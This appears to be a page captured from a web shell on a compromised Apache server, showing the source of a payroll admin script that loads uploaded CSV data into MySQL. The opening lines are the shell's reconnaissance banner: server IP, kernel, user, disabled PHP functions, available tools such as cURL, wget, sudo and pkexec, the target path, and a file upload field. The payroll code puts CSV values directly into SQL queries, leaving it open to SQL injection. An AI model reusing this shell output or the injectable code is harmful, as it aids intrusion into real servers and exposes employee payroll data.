Server IP : 108.163.255.210 / Your IP : 3.142.172.250 Web Server : Apache System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64 User : ( 1172) PHP Version : 7.2.34 Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/unilinki/public_html/payroll/admin/ |
Upload File : |
<html> <body> <form action="" method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="submit_cl_pl_csv" value="upload"/> </form> </body> </html> <?php if (isset($_POST['submit_cl_pl_csv'])) { include ("../include/db.php"); //Import uploaded file to Database $handle = fopen($_FILES['file']['tmp_name'], "r"); while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) { $import="INSERT INTO `cl-pl_data`( `pf`, `year`, `month`, `cl`, `pl`) VALUES ('$data[0]','2016','08','$data[1]','$data[2]')"; /* $import="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[1]','2011')"; $import1="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[2]','2012')"; $import2="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[3]','2013')"; $import3="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[4]','2014')"; $import4="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[5]','2015')"; $import5="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[6]','01/2016')"; $import6="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[7]','02/2016')"; $import7="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[8]','03/2016')"; $import8="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[9]','04/2016')"; $import9="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[10]','05/2016')"; $import10="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[11]','06/2016')"; $import="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[12]','07/2016')"; $import11="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','CL','$data[13]','08/2016')"; $import12="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[14]','01/2016')"; $import13="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[15]','02/2016')"; $import14="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[16]','03/2016')"; $import15="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[17]','04/2016')"; $import16="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[18]','05/2016')"; $import17="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[19]','06/2016')"; $import18="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[20]','07/2016')"; $import19="INSERT INTO `fix_cl_pl_data`( `uid`, `type`, `number`, `month`) VALUES ('$data[0]','PL','$data[21]','08/2016')";*/ mysql_query($import); /*mysql_query($import1); mysql_query($import2); mysql_query($import3); mysql_query($import4); mysql_query($import5); mysql_query($import6); mysql_query($import7); mysql_query($import8); mysql_query($import9); mysql_query($import10); mysql_query($import11); mysql_query($import12); mysql_query($import13); mysql_query($import14); mysql_query($import15); mysql_query($import16); mysql_query($import17); mysql_query($import18); mysql_query($import19);*/ } fclose($handle); header("location:manage_employee.php"); } ?>